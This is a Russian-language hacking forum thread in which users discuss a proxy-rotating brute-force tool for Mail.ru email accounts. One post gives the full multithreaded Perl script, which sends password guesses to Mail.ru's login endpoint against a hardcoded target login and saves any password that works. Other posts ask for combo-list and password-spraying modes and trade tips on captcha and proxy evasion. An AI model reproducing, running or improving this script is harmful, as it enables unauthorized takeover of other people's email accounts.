Mail.ru bruter

Discussion in 'PHP' started by Pashkela, 19 Jan 2010.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    а тут ничего нет
     
    #1 Pashkela, 19 Jan 2010
    Last edited: 19 Jun 2010
    6 people like this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Pashkela, молодец :) Только сделай брут на login;pass
     
    #2 mailbrush, 19 Jan 2010
    Last edited: 19 Jan 2010
  3. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    оу, гуд, а я уже хотел свой написать, с блекджеком и шлюхами..
     
  4. .devastatiour

    .devastatiour New Member

    Joined:
    9 Oct 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Pashkela на высоте!
    мы все будем оч признательны за брут на логин/pass
     
  5. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    неплохо было бы вынести частоизменяемые настройки в ini файл или в аргументы скрипта. к примеру пути до словарей.


    по поводу логин\пасс: конечно же чекер!
    и не придётся делать 2 режима подбора пароля, такие списки универсальны.

    по 1 мылу:
    [email protected];password1
    [email protected];password2

    по 1 паролю:
    [email protected];pass1
    [email protected];pass1
     
  6. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    я в перле не силён, но посмотрев на скрипт мне кажется что в нем нет проверки на появление капчи. ведь если она появится, то даже верный пасс примется как неверный. неплохо было бы это предусмотреть в скрипте.
     
  7. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    Вася взял скрипт, 5к прокси, выставил кол-во попыток на 10 и начал восстанавливать забытые пароли на мэил.ру. соседи васи (90 человек), украли у васи список проксей и тоже начали восстанавливать забытые пароли на мэил.ру. получилось, что с одного прокси идёт 910 запросов. мэил ру начал выплёвывать капчу и вагон с индусами не смог восстановить ни одного ящика.
     
    1 person likes this.
  8. konuk2007

    konuk2007 New Member

    Joined:
    17 Jan 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Люди долбрые обьясните плиз как ним юзать создаю, passwords.txt- файл с паролями туда пихаю пароли по одному в строчку, потом создаю proxy.txt- файл с проксями туда пихаю прокси, далее results.txt- Файл для записи результатов, а где писать логин мыла или само мыло, количество потоков и.т.д
    Обьясните плиз как ним пользоваться, а то очень нужно, буду очень благодарен, заранее спасибо)))
     
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    так на майлру разве выводится каптча при неверных вводах? Никогда не видел.
     
  10. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    У меня гуды пропускает,верных пасов в password.txt накидал а результатов нет,прокси все рабочие.И еще после использования последний прокси сразу бы на первую неплохо было бы чтоб перепрыгивал
     
  11. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    пробывал уже разные прокси,и все равно правильного пасса не находит,хотя он в самом начале списка.Настройки ставил такие
     
  12. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    мои настройки

    use IO::Socket;
    use threads;
    use threads::shared;
    my $num : shared;
    my $i : shared;
    my $z : shared;
    ################################################## ###
    my $login = "9102266370"; # логин
    my $domain = "mail.ru"; # домен
    $kol_threads = 20; # кол-во потоков
    $timeout = 10; # таймаут
    $attempt = 5; # через сколько попыток менять прокси
    $proxy_file = "proxy.txt"; # файл с проксями
    $passwords_file = "passwords.txt"; # файл с паролями
    ################################################## ####
    print "----------------------------------------------------------\n";
    print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
    print "----------------------------------------------------------\n";
    open(FILE1, "<", $proxy_file);
    while(<FILE1>) {
    chomp;
    if ($_) {push(@prox, $_);}
    }
    open(FILE2, "<", $passwords_file);
    while(<FILE2>) {
    chomp;
    if ($_) {push(@pass, $_);}
    }
    close(FILE2);
    open( FILE, ">>" . "results.txt" ); # Файл для записи результатов
    $size = @prox;
    $size1 = @pass;
    $thr = $kol_threads; # Кол-во потоков
    $num = -1; # Не меняется
    $i = 0;
    $z = 0;
    print "----------------------\n";
    print "Mail - " . $login . '@' . $domain . "\n";
    print "Threads - $kol_threads\n";
    print "Timeout - $timeout sec\n";
    print "Attempts for one proxy - $attempt\n";
    print "Proxies - $size\n";
    print "Passwords - $size1\n";
    print "----------------------\n";
    for(0..$thr) {
    $trl[$_] = threads->create(\&gets);
    }
    for(0..$thr) {
    $trl[$_]->join;
    }
    sub gets {
    $| = 1;
    while ($num < $size1) {
    { lock($num);
    $num++; }
    $z++;
    $password = "";
    if ($z == $attempt) {
    $z = 0;
    if ($i < ($size-1)) {
    $i++;
    print "\n";
    }
    }
    $password = $pass[$num];
    $current_proxy = $prox[$i];
    ($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
    print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
    $answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
    $ck1 = collect($answ1);
    $answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
    req('win.mail.ru', $1, 'GET', 0, $ck1);
    $answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
    if ($answ2 =~ m/msglist/img) {
    print "\n----------------------\n";
    print "[ Found password! Saved in result.txt ]\n";
    print "----------------------\n\n\n\n\n";
    print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
    close(FILE);
    exit;
    }
    $num++;
    print $num . "\r";
    sleep 1;
    }
    }
    sub collect {
    my $data = $_[0];
    my $cookie = undef;
    while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
    $cookie .= $1."; ";
    }
    return $cookie;
    }
    sub req {
    my($host, $path, $type, $data, $cookies) = @_;
    my $request = "$type $path HTTP/1.0\n".
    "Host: $host\n".
    "Cookie: $cookies\n";
    $request .= "Content-type: application/x-www-form-urlencoded\n".
    "Content-Length: ".length($data)."\n\n".$data;
    if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
    print $socket $request;
    my $answ = undef;
    $socket->autoflush(1);
    while(my $buf = <$socket>) {
    $answ .= $buf;
    }
    close $socket;
    return $answ;
    }
    }


    пароль к мылу в личке
     
  13. Killera

    Killera Banned

    Joined:
    29 Oct 2009
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    у меня есть брутер но я не уверен что работает отлично
     
    #13 Killera, 22 Jan 2010
    Last edited: 22 Jan 2010
  14. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    кинул в личку
     
  15. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    а почему не работает с обычными проксями?Опять кинул в личку,не как он правельный пас не находит
     
  16. GoodGod

    GoodGod Elder - Старейшина

    Joined:
    20 Dec 2006
    Messages:
    216
    Likes Received:
    262
    Reputations:
    50
    я юзнаю от здесь был я брут. все четко.
     
  17. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    Демка в один паток?Всю жизнь им будеш брутить
     
  18. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    у тебя тоже на холявных не находит?
     
  19. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    53
    Likes Received:
    84
    Reputations:
    53
    Pashkela спасибо за труды, сможеш cделать наоборот, брут списка мыл, по 1 паролю? :)
     
  20. maximka555

    maximka555 New Member

    Joined:
    10 Mar 2009
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0
    а если на деда установить CCProxy и использовать его как прокси?
     
Loading...
Similar Threads - Mail bruter
  1. GAiN
    Replies:
    3
    Views:
    7,080